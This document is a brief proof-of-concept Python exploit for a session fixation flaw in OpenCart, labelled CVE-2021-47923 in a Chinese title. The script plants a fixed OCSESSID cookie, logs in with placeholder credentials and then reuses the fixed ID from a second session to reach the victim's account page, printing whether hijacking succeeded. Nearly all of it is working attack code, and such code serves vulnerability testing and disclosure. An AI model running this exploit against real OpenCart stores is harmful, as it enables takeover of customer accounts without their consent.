CVE-2021-47923 OpenCart会话固定漏洞

import requests def check_session_fixation(target_url): # The attacker generates a specific session ID malicious_session_id = "fixed_session_id_by_attacker" login_endpoint = target_url + "/index.php?route=account/login" account_endpoint = target_url + "/index.php?route=account/account" # Step 1: Attacker sets the malicious cookie session = requests.Session() session.cookies.set("OCSESSID", malicious_session_id) # Step 2: Victim logs in using the session with the fixed ID # Note: Actual credentials are required for the login to succeed in the test login_data = { "email": "[email protected]", "password": "password" } response = session.post(login_endpoint, data=login_data) # Step 3: Check if the server accepted the fixed session ID after login # If the OCSESSID remains unchanged, the vulnerability is confirmed if "OCSESSID" in session.cookies and session.cookies["OCSESSID"] == malicious_session_id: print("[+] Vulnerability Confirmed: Server accepted the fixed session ID.") # Step 4: Verify attacker can access the account using the fixed ID attacker_session = requests.Session() attacker_session.cookies.set("OCSESSID", malicious_session_id) verify_resp = attacker_session.get(account_endpoint) if verify_resp.status_code == 200 and "Logout" in verify_resp.text: print("[+] Session Hijacking Successful: Attacker accessed the account.") else: print("[-] Target appears patched or not vulnerable.") if __name__ == "__main__": target = "http://localhost/opencart" check_session_fixation(target)